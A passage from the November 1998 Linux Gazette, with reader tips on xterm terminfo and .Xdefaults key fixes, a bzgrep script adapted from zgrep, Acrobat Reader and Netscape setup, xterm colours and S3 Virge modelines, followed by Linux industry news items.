xterm|vs100|xterm terminal emulator (X11R6 Window System),
am, km, mir, msgr, xenl, xon,
cols#80, it#8, lines#65,
acsc=``aaffggjjkkllmmnnooppqqrrssttuuvvwwxxyyzz{{||}}~~..--++\
054\054hhII00,
bel=^G, bold=\E[1m, clear=\E[H\E[2J, cr=^M,
csr=\E[%i%p1%d;%p2%dr, cub=\E[%p1%dD, cub1=^H,
cud=\E[%p1%dB, cud1=^J, cuf=\E[%p1%dC, cuf1=\E[C,
cup=\E[%i%p1%d;%p2%dH, cuu=\E[%p1%dA, cuu1=\E[A,
dch=\E[%p1%dP, dch1=\E[P, dl=\E[%p1%dM, dl1=\E[M,
ed=\E[J, el=\E[K, enacs=\E(B\E)0, home=\E[H, ht=^I,
ich=\E[%p1%d@, ich1=\E[@, il=\E[%p1%dL, il1=\E[L,
ind=^J,
is2=\E[r\E[m\E[2J\E[H\E[?7h\E[?1;3;4;6l\E[4l,
kbs=^H, kcub1=\EOD, kcud1=\EOB, kcuf1=\EOC,
kcuu1=\EOA, kend=\EOe, kent=\EOM,
kf1=\E[11~, kf10=\E[21~, kf11=\E[23~, kf12=\E[24~,
kf2=\E[12~, kf3=\E[13~, kf4=\E[14~, kf5=\E[15~,
kf6=\E[17~, kf7=\E[18~, kf8=\E[19~, kf9=\E[20~,
khome=\EO\200, kich1=\E[2~, kmous=\E[M, knp=\E[6~,
kpp=\E[5~, rc=\E8, rev=\E[7m, ri=\EM, rmacs=^O,
rmam=\E[?7l, rmcup=\E[2J\E[?47l\E8, rmir=\E[4l,
rmkx=\E[?1l\E>, rmso=\E[m, rmul=\E[m, rs1=^O,
rs2=\E[r\E[m\E[2J\E[H\E[?7h\E[?1;3;4;6l\E[4l\E<,
sc=\E7, sgr0=\E[m, smacs=^N, smam=\E[?7h,
smcup=\E7\E[?47h, smir=\E[4h, smkx=\E[?1h\E=,
smso=\E[7m, smul=\E[4m, tbc=\E[3k, u6=\E[%i%d;%dR,
u7=\E[6n, u8=\E[?1;2c, u9=\E[c,
</PRE>
Step four<BR>
* * * is to modify the file called "xterm" in the current directory to
change the kbs setting and to insert a new kdch1 setting
<P>
Change from
<PRE>
kbs=^H, kcub1=\EOD, kcud1=\EOB, kcuf1=\EOC,
kcuu1=\EOA, kend=\EOe, kent=\EOM,
</PRE>
to
<PRE>
kbs=\177, kcub1=\EOD, kcud1=\EOB, kcuf1=\EOC,
kcuu1=\EOA, kdch1=\E[3~, kend=\EOe, kent=\EOM,
</PRE>
Step five<BR>
* * * is to create a .terminfo directory, setup the TERMINFO, setup TERM
as xterm, change into superuser and then recompile the "xterm" settings file
<PRE>
original-terminfo-file > mkdir ~/.terminfo
original-terminfo-file > export TERMINFO=~/.terminfo
</PRE>
If you are using tcsh, type instead
<PRE>
original-terminfo-file > setenv TERMINFO ~/.terminfo
original-terminfo-file > export TERM=xterm
</PRE>
If you are using tcsh, type instead
<PRE>
original-terminfo-file > setenv TERM xterm
original-terminfo-file > su
password: opensesame
#| tic xterm
</PRE>
Step six<BR>
* * * is to change to the ~/.terminfo/x/ directory and copy the xterm file
to /usr/lib/terminfo/x/xterm
<PRE>
#| cd ~/.terminfo/x/
#| cp xterm /usr/lib/terminfo/x/xterm
#| cd ~
#| rm -rf .terminfo
#| exit
ksiew>
</PRE>
Step seven
* * * is to logoff and log back on (this is to get rid of the TERMINFO
variable) and change the .Xdefaults file
<PRE>
ksiew> logout
login: ksiew
password: opensesame
ksiew> less .Xdefaults
</PRE>
<A HREF="./tips_xdefaults.txt">Output from less</A><BR>
Now change the last few lines from
<PRE>
xterm*VT100.Translations: #override\n\
<KeyPress>gt;Prior : scroll-back(1,page)\n\
<KeyPress>gt;Next : scroll-forw(1,page)
nxterm*VT100.Translations: #override\n\
<KeyPress>gt;Prior : scroll-back(1,page)\n\
<KeyPress>gt;Next : scroll-forw(1,page)
</PRE>
to the following lines
<PRE>
xterm*VT100.Translations: #override\n\
<KeyPress>gt;Prior : string("\033[5~")\n\
<KeyPress>gt;Next : string("\033[6~")
nxterm*VT100.Translations: #override\n\
<KeyPress>gt;Prior : string("\033[5~")\n\
<KeyPress>gt;Next : string("\033[6~")
*VT100.Translations: #override \
<Key>gt;BackSpace: string(0x7F)\n\
<Key>gt;Delete: string("\033[3~")\n\
<Key>gt;Home: string("\033[1~")\n\
<Key>gt;End: string("\033[4~")
*ttyModes: erase ^?
</PRE>
That's it! Save the .Xdefaults file and now you can start X-windows and
the backspace key, the delete key, the pageup key and the pagedown key
will work just like in the text-only console window.
<P>
Steven
<P> <hr> <P>
<!--================================================================-->
<a name="siew2"></a>
<H3><IMG ALIGN=BOTTOM ALT="" SRC="../gx/lil2cent.gif">
Creating bzgrep Program
</H3>
Date: Sun, 18 Oct 1998 17:35:43 +1000<BR>
From: "Steven K.H. Siew", <A HREF="mailto:ksiew@tig.com.au">
ksiew@tig.com.au</A>
<P>
If you have ever used zgrep on gzip-textfiles then you would have realise
what a wonderful it is. The program zgrep allows you to grep a textfile even
if the text file is compressed in gzip format. Not only that it can also
grep a uncompress textfile. For example if you have the following directory
<PRE>
testing > ls -al
total 2086
drwxrwxr-x 2 ksiew ksiew 1024 Oct 18 11:07 .
drwxr-xr-x 24 ksiew ksiew 2048 Oct 18 11:00 ..
-rwxrwxr-x 1 ksiew ksiew 1363115 Oct 18 11:01 cortes.txt
-rwxrwxr-x 1 ksiew ksiew 172860 Oct 18 11:01 lost_world_10.txt.gz
-rwxrwxr-x 1 ksiew ksiew 582867 Oct 18 11:00 moon10a.txt
</PRE>
Then if you are looking for the word "haste",
<PRE>
testing > zgrep -l haste *
cortes.txt
lost_world_10.txt.gz
moon10a.txt
</PRE>
Tells you that "haste" is in all three files.
<P>
Now if you compress a textfile using the famous bzip2 compress program, you
have a problem.
<PRE>
testing > bzip2 cortes.txt
testing > ls -al
total 1098
drwxrwxr-x 2 ksiew ksiew 1024 Oct 18 11:12 .
drwxr-xr-x 24 ksiew ksiew 2048 Oct 18 11:12 ..
-rwxrwxr-x 1 ksiew ksiew 355431 Oct 18 11:01 cortes.txt.bz2
-rwxrwxr-x 1 ksiew ksiew 172860 Oct 18 11:01 lost_world_10.txt.gz
-rwxrwxr-x 1 ksiew ksiew 582867 Oct 18 11:00 moon10a.txt
testing > zgrep -l haste *
lost_world_10.txt.gz
moon10a.txt
</PRE>
What happen now is that zgrep no longer recognise the file cortes.txt.bz2 as
a compress text file.
<P>
What we need is a new program bzgrep which can recognise bzip2 compress text
files.
<P>
The best way to create bzgrep file is to modify the existing zgrep file.
<PRE>
testing > locate zgrep
/usr/bin/zgrep
/usr/man/man1/zgrep.1
testing > su
password: opensesame
#| cp /usr/bin/zgrep /usr/local/bin/bzgrep
</PRE>
The bzgrep file is a copy of zgrep file can contain
<A HREF="./tips_zgrep.txt">this text</A>.
<P>
We cannot change the last few lines to the following
<P>
<pre>
res=0
for i do
if test $list -eq 1; then
bzip2 -cdf "$i" | $grep $opt "$pat" > /dev/null && echo $i
r=$?
elif test $# -eq 1 -o $silent -eq 1; then
bzip2 -cdf "$i" | $grep $opt "$pat"
r=$?
else
bzip2 -cdf "$i" | $grep $opt "$pat" | sed "s|^|${i}:|"
r=$?
fi
test "$r" -ne 0 && res="$r"
done
exit $res
</pre>
<P>
Now the bzgrep file is a program that will be able to grep bzip2 compressed
textfiles. BUT there is a problem.
<P>
bzgrep program WILL NOT recognise ordinary textfiles or gzip compress
textfiles. This is a major problem! It means you have to compress all your
textfiles with bzip2 in order to use bzgrep program.
<P>
Luckily there is always a solution in Linux. All we have to do is alter
the program to be more choosy on which decompression program to use. ie. Do
it uses <tt>gzip -cdfq or bzip2 -cdf</tt>
<P>
Now change the last few lines again to resemble this
<PRE>
res=0
for i do
case "$i" in
*.bz2 )
if test $list -eq 1; then
bzip2 -cdf "$i" | $grep $opt "$pat" > /dev/null && echo $i
r=$?
elif test $# -eq 1 -o $silent -eq 1; then
bzip2 -cdf "$i" | $grep $opt "$pat"
r=$?
else
bzip2 -cdf "$i" | $grep $opt "$pat" | sed "s|^|${i}:|"
r=$?
fi ;;
* )
if test $list -eq 1; then
gzip -cdfq "$i" | $grep $opt "$pat" > /dev/null && echo $i
r=$?
elif test $# -eq 1 -o $silent -eq 1; then
gzip -cdfq "$i" | $grep $opt "$pat"
r=$?
else
gzip -cdfq "$i" | $grep $opt "$pat" | sed "s|^|${i}:|"
r=$?
fi ;;
esac
test "$r" -ne 0 && res="$r"
done
exit $res
</PRE>
Finally, this is the contents of a working <A
HREF="./tips_bzgrep.txt">bzgrep</A> program.
<P>
Steve
<P> <hr> <P>
<!--================================================================-->
<a name="hammel2"></a>
<H3><IMG ALIGN=BOTTOM ALT="" SRC="../gx/lil2cent.gif">
Re: Linux on PalmPilot
</H3>
Date: Sat, 17 Oct 1998 17:00:37 -0600 (MDT)<BR>
From: "Michael J. Hammel", <A HREF="mailto:mjhammel@graphics-muse.org">
mjhammel@graphics-muse.org</A>
<blockquote> <font color="maroon">
In a previous message, dino jose says:<BR>
Hi... Mike, I read your article about the Linux in palm pilot.Its very
intersting.Iam kind of new in LINUX platform! Because Iam so curious
about Linux. I bought a palm pilot 111 the new version of palm with 2meg
of memory.the main problem is, I don't know where to get the Linux
operating system that it runs on palm pilot 111 the newer version. what
about the HOW TO LINUX DOCUMENTATION FROM from its official site?
Once I get this software do I run this in Linux operating system then
transfer this to palm 111? Iam kind novice in Linux. If you could help
me.I would gladly appreciated. Thanks a lot....
</font></blockquote>
Actually, you don't run Linux on the PalmPilot itself (although there is a
project to do so - I don't know much about that however). You run Linux on
your PC and transfer data files between the Linux system and the Pilot.
You still run the same programs you normally would *on* the PalmPilot -
it's just that you can transfer these programs and their data file to the
Pilot using tools on Linux.
<P>
Don't let using Linux confuse you. You use Linux in the same way you use
Microsoft Windows - it runs on your PC to do word processing or
spreadsheets or whatever. You then pass data files back and forth the the
Pilot using special tools.
<P>
If you want to try out a program that helps transfer files back and forth
you can try my XNotesPlus. Its a sticky notes program that will allow you
do backups of your Pilot to your local hard disk and will transfer the
Address database from the Pilot to be used in doing some simple printing of
envelopes. You can download the program from
<A HREF="http://www.graphics-muse.org/xnotes/xnotes.html">
http://www.graphics-muse.org/xnotes/xnotes.html</A>. You will also need to get
the PilotLink software that I described in the article you read.
XNotesPlus uses PilotLink to do the actual data transfers to and from the
Pilot.
<P>
Hope this helps.
<P>
Michael J. Hammel, The Graphics Muse
<P> <hr> <P>
<!--================================================================-->
<a name="brais"></a>
<H3><IMG ALIGN=BOTTOM ALT="" SRC="../gx/lil2cent.gif">
Red Hat 5.1 + Acrobat Reader 3.01 HOWTO
</H3>
Date: Thu, 22 Oct 1998 22:55:27 -0400<BR>
From: Louis-Philippe Brais, <A HREF="mailto:lpbrais@grm94.polymtl.ca">
lpbrais@grm94.polymtl.ca</A>
<P>
Some people I know went nuts trying to install Acrobat Reader 3.01 as a
helper app in Netscape, as shipped with Red Hat Linux 5.1. Here's how
I've done it:
<P>
1. Download Acrobat Reader 3.01 from ftp.adobe.com. Let the installer
script install the whole thing under /usr/local/Acrobat3.
<P>
2. Create the following shell script:
/usr/local/Acrobat3/bin/nsacroread
<PRE>
#!/bin/sh
unset LD_PRELOAD
exec /usr/local/Acrobat3/bin/acroread $* >$HOME/.nsacroread-errors
2>&1
</PRE>
<P>
3. Don't forget to make this script executable:
<PRE>
# chmod 755 /usr/local/Acrobat3/bin/nsacroread
</PRE>
4. If the directory /usr/local/lib/netscape doesn't already exist,
create
it.
<P>
5. Copy (exactly) the following two files into this directory.
<P>
mailcap:
<PRE>
#mailcap entry added by Netscape Helper
application/pdf;/usr/local/Acrobat3/bin/nsacroread -tempFile %s
</PRE>
mime.types:
<PRE>
#--Netscape Communications Corporation MIME Information
#Do not delete the above line. It is used to identify the file
type.
#
#mime types added by Netscape Helper
type=application/pdf \
desc="Acrobat Reader" \
exts="pdf"
</PRE>
<p>
Note: You can do without the last two steps and instead configure the
helper apps with the Edit >> Preferences menu of Netscape. This will
create similar .mailcap and .mime.types files in the user's home dir.
But IMHO the first method is best because this way you can configure
Acrobat Reader for all users at once.
<P>
Cheers,<BR>
Louis-Philippe Brais
<P> <hr> <P>
<!--================================================================-->
<a name="poel"></a>
<H3><IMG ALIGN=BOTTOM ALT="" SRC="../gx/lil2cent.gif">
2 $.25 tips
</H3>
Date: Thu, 22 Oct 1998 11:19:22 -0600<BR>
From: Bob van der Poel, <A HREF="mailto:bvdpoel@kootenay.com">
bvdpoel@kootenay.com</A>
<P>
1. I was having some real problems with Netscape (3.04 Gold) the other
day. No matter what I did, I could not get the helpers to work.
Somewhere in the back of my mind, I knew that they had worked in the
past, but I couldn't see anything that I'd changed. A few messages on
various newsgroups turned on the lights: I had upgraded my Bash to
2.0.0--and this version has a bug in it. Expressions of the form ((..)
.. ) are interpreted as arithmetic expressions, rather than nested
sub-shells. Upgrading to 2.02.1(1) was almost painless and fixed the
Netscape problem.
<P>
To get 2.02.1(1) go to the gnu site (www.gnu.org) and follow the links
to the software sections. The new software should compile out of the box
(it did for me). One problem I had was that the install script put the
new binaries in /usr/local/bin, and since I had my old versions in
/usr/bin they weren't found. A quick mv solved that.
<P>
2. For a number of years I've been struggling trying to read the results
of color-ls on my xterm screens. A number of the colors (green and blue)
were just too bright to read. I didn't want to turn down the brightness
of my monitor...so I mostly just squinted. For some reason I was looking
at the XTerm.ad file, and noticed that the colors could be adjusted! The
XTerm.ad file should be located in /usr/lib/X11/app-defaults (or
something similar). It is read each time a new xterm start up and sets
various options. If you look near the end of this file you'll see a
number of definitions for the VT100 colors. I changed:
<PRE>
*VT100*color2: green3
</PRE>
to
<PRE>
*VT100*color2: green4
</PRE>
and
<PRE>
*VT100*color6: cyan3
</PRE>
to
<PRE>
*VT100*color6: cyan4
</PRE>
Like magic, the colors are darkened and I can read the results. If you
don't want to fool with your global default file, you could also just
add the entries to your ~/.Xresources file.
<P>
-- <BR>
Bob van der Poel
<P> <hr> <P>
<!--================================================================-->
<a name="jalics"></a>
<H3><IMG ALIGN=BOTTOM ALT="" SRC="../gx/lil2cent.gif">
S3 Virge/DX and XFree
</H3>
Date: Mon, 26 Oct 1998 00:56:25 -0500 (EST)<BR>
From: "Andy K. Jalics", <A HREF="mailto:ab212@acorn.net">
ab212@acorn.net</A>
<P>
I had a S3 Virge/DX, and couldn't get it working well in XFree.
This made me very mad since there is a specific XFREE_S3V (S3 virge
server).
<P>
I used a borrowed Xaccel, but it made me feel guilty real quick. :)
So I decided that I need to get XFree configured well, and then ditch
Xaccel. I found that xfree86config can not be well used to configure a
Virge.
<P>
Here are the modelines I use for a mid-range 17 inch monitor @ 16bpp using
the SVGA server.
*WARNING* If this blows up your monitor/card, It's not my fault, although
it shouldn't.
<PRE>
Modeline "640x480" 31.5 640 680 720 864 480 488 491 521
ModeLine "640x480" 31.5 640 656 720 840 480 481 484 500 -HSync -VSync
Modeline "640x400" 36 640 696 752 832 480 481 484 509 -HSync -VSync
Modeline "800x600" 40 800 840 968 1056 600 601 605 628 +hsync +vsync
Modeline "800x600" 50 800 856 976 1040 600 637 643 666 +hsync +vsync
Modeline "800x600" 60.75 800 864 928 1088 600 616 621 657 -HSync -VSync
# Modeline "1024x768" 85.00 1024 1032 1152 1360 768 784 787 823
Modeline "1024x768" 85.00 1024 1052 1172 1320 768 780 783 803
# Modeline "1152x864" 85.00 1152 1240 1324 1552 864 864 876 908
Modeline "1152x864" 85.00 1152 1184 1268 1452 864 880 892 900
</PRE>
This cured me of using Xaccel, and should cure your S3 Virge blues.
P.S. A S3 Virge can go up to 1600x1000?
<P>
Andy
<P> <hr> <P>
<!--================================================================-->
<center>Published in <I>Linux Gazette</I> Issue 34, November 1998</center>
<P> <hr> <P>
<!--================================================================-->
<A HREF="./lg_toc34.html"><IMG SRC="../gx/indexnew.gif" ALT="[ TABLE OF
CONTENTS ]"></A> <A HREF="../index.html"><IMG SRC="../gx/homenew.gif"
ALT="[ FRONT PAGE ]"></A> <A HREF="./lg_mail34.html"><IMG SRC="../gx/back2.gif" ALT=" Back "></A>
<A HREF="./lg_bytes34.html"><IMG SRC="../gx/fwd.gif" ALT=" Next "></A>
<P> <hr> <P>
<h5>This page maintained by the Editor of <I>Linux Gazette</I>,
<A HREF="mailto: gazette@ssc.com">gazette@ssc.com</A><BR>
Copyright © 1998 Specialized Systems Consultants, Inc. </H5>
<P>
<H4>"Linux Gazette...<I>making Linux just a little more fun!</I>"</H4>
<HR>
<center>
<table cellpadding=7><tr><td>
<IMG SRC="../gx/bytes.gif" border=1 ALT="News Bytes">
</td><td>
<H3>Contents:</H3>
<ul>
<li><a HREF="./lg_bytes34.html#general">News in General</a>
<li><a HREF="./lg_bytes34.html#software">Software Announcements</a>
</ul>
</td></tr></table>
</center>
<a name="general"></a>
<p><hr><p>
<!-- =================================================================== -->
<center><H3><font color="green">News in General</font></H3></center>
<P> <hr> <P>
<!-- =================================================================== -->
<center><IMG ALT=" " SRC="./gx/cover56.jpg"></center>
<H3><IMG ALT=" " SRC="../gx/bolt.gif">
December <I>Linux Journal</I>
</H3>
<P>
The December issue of <A HREF="http://www.linuxjournal.com/"><I>Linux
Journal</I></A> will be hitting the newsstands November 6.
The focus of this issue is System Administration. We have an interview with
Linus Torvalds and an article about the 2.2 kernel. We also have articles
on X administration and performance monitoring tools.
Check out the Table of Contents at
<A HREF="http://www.linuxjournal.com/issue56/index.html">
http://www.linuxjournal.com/issue56/index.html</A>.
To subscribe to <I>Linux Journal</I>, go to <A
HREF="http://www.linuxjournal.com/ljsubsorder.html">
http://www.linuxjournal.com/ljsubsorder.html</A>.
<P> <hr> <P>
<!-- =================================================================== -->
<P>
<H3><IMG ALT=" " SRC="../gx/bolt.gif">
TIME Talks about Linux
</H3>
<P>
Check out this cool article in TIME!
<p>
<a href="http://cgi.pathfinder.com/time/magazine/1998/dom/981026/
technology.the_mighty_f1a.html">http://cgi.pathfinder.com/time/magazine/1998/dom/981026/technology.the_mighty_f1a.html</a>.
<P> <hr> <P>
<!-- =================================================================== -->
<P>
<H3><IMG ALT=" " SRC="../gx/bolt.gif">
Design by Contract
</H3>
<P>
Dr. Bertrand Meyer, designer of the Eiffel programming language, was in
Seattle to give his one day seminar on "Design by Contract". The purpose of
this workstation is teach software engineers this unique object-oriented
development method which emphasizes building reliable sytems through
well-defined specifications and communication between the different parties
to the system.
<P>
Talking to Dr. Meyer by phone, I asked him how Eiffel was better than Java.
He gave me three reasons:
<ul>
<li>Eiffel supports multiple inheritance.
<li>Eiffel more easily builds container structures such as lists, queues,
stacks and trees.
<li>Eiffel has built in support for "design by contract" development.
</ul>
When I asked him about Open Source and Linux, he replied, "Eiffel's primary library
was released as open source on August 4, and other libraries will be
released in the future. While Eiffel is a commercial product, we see the
advantages of Open Source. We were one of the first supporters of Linux,
and the Linux community is very important to us."
<P>
by <A HREF="mailto:ljeditor@ssc.com">M. L. Richardson</A>
<P> <hr> <P>
<!-- =================================================================== -->
<P>
<H3><IMG ALT=" " SRC="../gx/bolt.gif">
Debian and the NetWinder
</H3>
<P>
It is now possible to boot the Corel NetWinder Computer with Debian
GNU/Linux, thanks to the work of Jim Pick and the other team members of the
Debian Arm port. A disk image with instructions on how to use it is
available from
<a
href="ftp://ftp.jimpick.com/pub/debian/netwinder/bootable-image/">ftp://ftp.jimpick.com/pub/debian/netwinder/bootable-image/</a>
<p>
A kernel package of the new ELF kernel (some notes are available at <a
href="http://www.netwinder.org/~ralphs/knotes.html">http://www.netwinder.org/~rahphs/knotes.html</a>)
<p>
This alleviates the need for the chroot environment that previous
development work was being conducted in, and allows work to progress even
faster than before. This will also allow more people to join in the
development effort easily.
<P>
<A HREF="./debian.pr">Open Letter from Corel to Debian</A>
<P> <hr> <P>
<!-- =================================================================== -->
<P>
<H3><IMG ALT=" " SRC="../gx/bolt.gif">
Corel Computer and Red Hat Software Announce Linux Operating System Partnership
</H3>
Ottawa, Canada, October, 27, 1998 Corel Computer and Red Hat Software,
Inc. today announced an agreement to bring the Red Hat distribution of
Linux to the Corel Computer NetWinder family of thin-clients and thin-servers.
Under the three-year agreement, Red Hat will port Red Hat Linux 5.1
and future releases of the software to the StrongARM processor, the
underlying architecture of the NetWinder.
<P>
<P> <hr> <P>
<!-- =================================================================== -->
<P>
<H3><IMG ALT=" " SRC="../gx/bolt.gif">
SPI Web Pages Active
</H3>
<P>
Date: Thu, 29 Oct 1998 10:33:43 -0500<BR>
Software in the Public Interest, Inc. is pleased to announce its new web
pages. They can be found at <A HREF="http://www.spi-inc.org/">
http://www.spi-inc.org/</A>. SPI is a non profit
organization that was founded to help projects in developing software for
the community. Several projects are currently being supported through
monetary and hardware donations that have been made to SPI. As SPI is a
non profit organization, all donations to it and the projects it supports
are tax deductible.
<P>
Projects that are affiliated with and receive support from SPI are:
<ul>
<li>Berlin http://www.berlin-consortium.org/
<li>Debian http://www.debian.org/
<li>GNOME http://www.gnome.org/
<li>Linux Standard Base http://www.linuxbase.org/
<li>Open Source http://www.opensource.org/
<li>Open Hardware http://www.openhardware.org/
</ul>
<P>
For more information:<BR>
SPI Press Contact, <A HREF="mailto:press@spi-inc.org">press@spi-inc.org
</A><BR>
SPI homepage: <A HREF="http://www.spi-inc.org/">http://www.spi-inc.org/</A>
<P> <hr> <P>
<!-- =================================================================== -->
<P>
<H3><IMG ALT=" " SRC="../gx/bolt.gif">
Amiga/LinuxInfo starts a daily news section for Amiga and Linux
</H3>
<P>
The leading printed Amiga magazine in Sweden, AmigaInfo, is starting a daily
news section in Swedish for Amiga and Linux news.
<p>
AmigaInfo will also start a large Linux section (about 25 pages to start
with) in the upcoming issue.
<p>
<a
href="http://www.xfiles.se/amigainfo/">http://www.xfiles.se/amigainfo/</a>
<P> <hr> <P>
<!-- =================================================================== -->
<P>
<H3><IMG ALT=" " SRC="../gx/bolt.gif">
Oppression?
</H3>
<P>
A student at UCLA, and several of the Linux users there in the dorms claim
they are experiencing severe discrimination. The whole story is at
<a
href="http://www.nerdherd.net/oppression/">http://www.nerdherd.net/oppression/</a>.
Take a look!
<P> <hr> <P>
<!-- =================================================================== -->
<P>
<H3><IMG ALT=" " SRC="../gx/bolt.gif">
Debian GNU/Linux 2.0 Hamm
</H3>
<P>
The Debian GNU/Linux 2.0 'Hamm' distribution was recently recognized by
Australian Personal Computer Magazine <a
href="http://www.apcmag.com/">http://www.apcmag.com/</a>. It received
the 'Highly Commended Award' for being 'a very high-quality distribution,
with an extensive selection of carefully prepared software packages.
<p>
More information including a review of the distribution can be found at
<a
href="http://apcmag.com/reviews/9809/linux.htm">http://apcmag.com/reviews/9809/linux.htm</a>.
<P> <hr> <P>
<!-- =================================================================== -->
<P>
<H3><IMG ALT=" " SRC="../gx/bolt.gif">
Check Out This New Mailing List
</H3>
<P>
<p>
Check out <a href="mailto:lug_support@ntlug.org">lug_support@ntlug.org</a>
<p>
About this mailing list:<BR>
The purpose of this mailing list is to an open forum to discuss anything
related to starting, growing and maintaining Linux User Groups. Whether you
are trying to get a new LUG started and need some practical advice, or have
built one already and are willing to help other groups, this is the mailing
list for you, whether you have 5 members or 500!
<p>
<p>
How to subscribe to this list:
<br>
Send a message to majordomo@ntlug.org with the following text in the
message body:
<br>
<tt>subscribe lug_support YOUR_EMAIL_ADDRESS</tt>
<P> <hr> <P>
<!-- =================================================================== -->
<P>
<H3><IMG ALT=" " SRC="../gx/bolt.gif">
Free Software Award Event Kicks off "One World, One Net" Conference
</H3>
<P>
Larry Wall received the First Annual Free Software Foundation Award
for the Advancement of Free Software at the MIT Media Lab on Friday evening.
At a reception and presentation attended by CPSR Conference registrants,
computer hackers and members of the press, FSF Founder Richard Stallman
presented the award, a quilted GNU (GNU's Not Unix) wall hanging.
<p>
Larry Wall won the Free Software Foundation Award for the Advancement
of Free Software for his programming, most notably Perl, a robust scripting
language for sophisticated text manipulation and system management.
His other widely-used programs include rn (news reader), patch
(development and distribution tool), metaconfig (a program that writes
Configure scripts), and the Warp space-war game.
<P> <hr> <P>
<!-- =================================================================== -->
<P>
<H3><IMG ALT=" " SRC="../gx/bolt.gif">
Eureka!
</H3>
<P>
On Tuesday, September 15th, 1998 in Paris, France at our user event named
"Eureka", and again on October 5th at DECUS in Los Angeles, Compaq Computer
Corporation announced intent to extend their support to the Linux operating
system to include Intel as well as the Alpha platforms. In addition to
extending this support to another architecture, Compaq is in the process of
putting together a comprehensive program of Linux support.
<p>
This support includes, but is not limited to:
<ul>
<li>working with the Linux community to port Linux to new
platforms
<li>qualification of Linux on both Intel and Alpha platforms
<li>providing selected platforms with no license, specifically for Linux
and other freely available operating systems
<li>working with the Linux community and distributions to provide
world-wide telephone and hardware support
<li>porting selected Compaq software products to both Intel and Alpha
platforms
</ul>
<p>
In continuing the concept of working with the Linux community, Compaq intends
to extend its Linux support through its extensive channels partner programs.
Compaq feels that this will give the broadest possible selection of products
and solutions to our end customers, with our VARs, OEMs, Distributors and
Resellers working with the customer to match the distribution, the layered
products and third party offerings to that customer's needs.
<P> <hr> <P>
<!-- =================================================================== -->
<P>
<H3><IMG ALT=" " SRC="../gx/bolt.gif">
IBM Enhances its Websphere Application Server
</H3>
<P>
IBM announced that it has extended the HTTP services in IBM WebSphere*
Application Servers in the areas of performance, security and platform
support by adding new functionality to the HTTP services that are packaged
with WebSphere and are based on the Apache HTTP Server.
<p>
Today's announcements include technology developed by IBM Research
that boosts the performance of HTTP services in the IBM WebSphere
Application Server and Secure Socket Layer
(SSL) support that provides customers with the security necessary to
operate a web site that can handle sensitive information, such as financial
transactions. In addition, IBM announced a port of the Apache HTTP Server
to the AS/400* operating system. The AS/400 port will be offered to the
Apache Group through the Open Source model.
The Fast Response Cache Accelerator (FRCA) technology, developed by
IBM Research, doubles the performance of HTTP services in WebSphere on
Windows NT, according to lab tests done by SPEC (The Standard Performance
Evaluation Corporation).
<P>
Both the FRCA and SSL technologies from IBM will be available at no
additional charge as part of all editions of the IBM WebSphere Application
Servers. The technologies will be released in the next version of
WebSphere Application Server before the end of the year. The FRCA
technology will also be used to boost the performance of the HTTP Server
for OS/390*, and will be available as part of OS/390 Version 2 Release 7 in
March of 1999.
<P> <hr> <P>
<!-- =================================================================== -->
<P>
<H3><IMG ALT=" " SRC="../gx/bolt.gif">
CommProc
</H3>
<P>
A new OpenSource project, a general distributed-computing
toolkit for quick assembly of distributed applications
called CommProc, was presented at the October ApacheCon98
conference. CommProc is an advocacy effort for Linux and
Apache and includes an interface module for the Apache
HTTP server. Documentation and source code for the project
is available at: <a href="http://www.commproc.com">http://www.commproc.com</a>
<P> <hr> <P>
<!-- =================================================================== -->
<P>
<H3><IMG ALT=" " SRC="../gx/bolt.gif">
Launch of LinuxWorld Magazine
</H3>
<P>
IDGs Web Publishing Inc. announced the launch of LinuxWorld magazine
(<a href="http://www.linuxworld.com">http://www.linuxworld.com</a>). A
Web-only magazine supplying technical information to professional
Linux users who are implementing Linux and related open source technologies
in their computing environments.
<p>
Inside the first issue are stories such as an interview with Linus
Torvalds, the first installment of the Linux 101 column titled "A
distribution by any other name," and a look at the new Windows NT
domain security features found in Samba 2.0 titled "Doing the NIS/NT
Samba."
<P> <hr> <P>
<!-- =================================================================== -->
<P>
<H3><IMG ALT=" " SRC="../gx/bolt.gif">
<a href="http://www.bitmover.com/linuxexpo">Linux Expo 1999 Call for Papers</a>
</H3>
<P>
May 18 - 22, 1999<br>
Raleigh, North Carolina<br>
Dates for Refereed paper submissions<br>
<ul>
<li>Extended abstracts and/or full papers due: December 1, 1998
<li>Notification to authors: January 15, 1999
<li>Full papers due for final review: February 15, 1999
<li>Camera-ready full papers due: March 1, 1999
</ul>
<p>
Program Committee
<ul>
<li>Marc Ewing, Red Hat Advanced Laboratories
<li>Richard Henderson, Cygnus Solutions
<li>Dirk Hohndel, S.u.S.E. GmbH
<li>Larry McVoy, BitMover (Chair)
<li>Carl Staelin, Hewlett-Packard Labs
<li>Theodore Ts'o, MIT
<li>Stephen Tweedie, Red Hat Software
<li>Victor Yodaiken, New Mexico Institute of Technology
</ul>
<p>
Overview
<p>
The goal of the technical track of Linux Expo is to bring
together engineers and researchers doing innovative work
associated with Linux.
<p>
See you at LinuxExpo '99!
<P> <hr> <P>
<!-- =================================================================== -->
<P>
<H3><IMG ALT=" " SRC="../gx/bolt.gif">
USENIX 1999 Events
</H3>
USENIX is the Advanced Computing Systems Association. Its international
membership includes engineers, system administrators, scientists, and
technicians working on the cutting edge. Their conferences are recognized
for delivering pragmatically-oriented, technically excellent reports in a
highly interactive, vendor-neutral forum.
<P>
<A HREF="./usenix.pr">Upcoming Events for 1999</A>
<P> <hr> <P>
<!-- =================================================================== -->
<P>
<H3><IMG ALT=" " SRC="../gx/bolt.gif">
SmartWare DevCon99
</H3>
<P>
Date: Wed, 28 Oct 1998 20:28:52 -0600<BR>
DevCon99 is scheduled for November 14 and 15, 1998. 49 hours of training
shoehorned into two days including "How to Use the Graphic Database
Frontend", Developing a RAD application, the introduction of the
SmartERP program, marketing, advertising and free videotapes for all
attendees. SmartWare2000, offers solutions for the small to medium company
and is the only product capable of running on everything from old 286 ATs
up to Sun or SiliconGraphics systems and use the same data at the same time.
<P>
When: November 13 (Dinner at Clubhouse Inn), 14 & 15<BR>
Where: Washburn University, Topeka, Kansas<BR>
What: 2 Full Days of training on SmartWare2000,
The Graphic Database Front End, RAD, Free
SmartWare2000, Food, Room, Videos and
more.
<P>
For more information:<BR>
Greg Palmer, <A HREF="mailto:greg@mobiusmarketing.com">
greg@mobiusmarketing.com</A>
<P> <hr> <P>
<!-- =================================================================== -->
<P>
<H3><IMG ALT=" " SRC="../gx/bolt.gif">
Linux Links
</H3>
<P>
Linux FAQ: <A HREF="http://www.terracom.net/~kiesling/">
http://www.terracom.net/~kiesling/</A>
